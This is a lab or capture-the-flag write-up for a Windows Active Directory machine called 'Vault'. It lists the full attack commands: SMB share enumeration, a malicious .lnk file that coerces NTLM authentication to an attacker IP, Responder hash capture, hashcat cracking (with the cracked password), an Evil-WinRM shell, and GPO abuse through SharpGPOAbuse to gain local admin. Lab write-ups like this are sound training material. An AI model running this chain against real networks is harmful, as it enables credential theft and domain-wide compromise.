Vault
Details
- OS: Windows
- Difficulty: Hard
- IP Address: 192.168.224.172
- Author: AETH3RON
Overview
Vault is a Windows machine that requires abusing weak SMB permissions to obtain initial credentials. The foothold is established by uploading a malicious shortcut file to a writable share, triggering an authentication request that allows us to capture and crack an NTLMv2 hash. Privilege escalation is achieved by enumerating Active Directory permissions with BloodHound, revealing a GenericWrite privilege on the Default Domain Policy, which is exploited using SharpGPOAbuse to grant local administrator rights.
Enumeration
Nmap
We began by performing a syn-scan to identify open ports on the target.
nmap -Pn -sS -sV -p- 192.168.224.172 -oN nmap-basic
We followed up with a targeted scan on the discovered ports to enumerate services and scripts, as well as a UDP scan to identify potential UDP services.
nmap -Pn -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389 192.168.224.172 -oN nmap-common
nmap -sU --top-ports 100 -sV -Pn 192.168.224.172 -oN nmap-udp
SMB
Enumerating the SMB protocol using NetExec, we identified that the Guest user had access to specific shares. Crucially, we discovered write permissions over the DocumentsShare share.
nxc smb 192.168.224.172 -u 'guest' -p '' --shares
Foothold
Given the write access to the share and the lack of other immediate vectors, we deduced the machine might be vulnerable to a coerced authentication attack using a malicious file. We used the ntlm_theft tool to generate a .lnk file designed to trigger an authentication request back to our attacker machine.
python3 ntlm_theft.py -g lnk -s 192.168.45.223 -f hacked
Next, we uploaded the malicious shortcut to the DocumentsShare using smbclient.
smbclient //192.168.224.172/DocumentsShare -U guest
put hacked.lnk
With the file uploaded, we started Responder on our network interface to listen for the incoming connection.
sudo responder -w -I tun0
After a few seconds, the server accessed the file, and Responder successfully captured the NTLMv2 hash for the user anirudh.
We saved the hash to a file and used Hashcat to crack it against the rockyou.txt wordlist.
hashcat -m 5600 anirudh.hash /usr/share/wordlists/rockyou.txt --force
The hash was successfully cracked, revealing the password: SecureHM. We used these credentials to establish a shell via Evil-WinRM.
evil-winrm -i 192.168.224.172 -u anirudh -p SecureHM
Privilege Escalation
To identify potential escalation paths within the Active Directory environment, we uploaded SharpHound to the target and collected domain data.
.\SharpHound.exe -c All --zipfilename loot.zip
After importing the data into BloodHound, we analyzed the user’s permissions. We discovered that anirudh possesses GenericWrite privileges over the Default Domain Policy GPO.
We can abuse this permission to modify the Group Policy Object and grant ourselves administrative rights. We uploaded SharpGPOAbuse and executed it to add anirudh to the local Administrators group via the policy.
.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount anirudh
To apply the changes immediately, we forced a Group Policy update.
gpupdate /force
Finally, we verified our membership in the Administrators group, confirming successful privilege escalation.
net localgroup administrators
Business Impact
This attack chain demonstrates how weak SMB share permissions can lead to full Active Directory compromise. The ability to write files to a network share and capture NTLMv2 hashes through social engineering techniques represents a realistic initial access scenario frequently observed in enterprise penetration tests. The subsequent discovery and abuse of GenericWrite permissions on the Default Domain Policy GPO is particularly devastating — it allows an attacker to modify security policies affecting every machine in the domain. In a production environment, GPO manipulation could be used to deploy malware domain-wide, weaken authentication policies, or create backdoor administrative accounts across the entire organization.
References
- ntlm_theft:
- Responder:
- SharpGPOAbuse:
- GPO Abuse in Active Directory (FSecure):
- NTLM Theft Techniques:
New recovered files, straight to your inbox. No noise.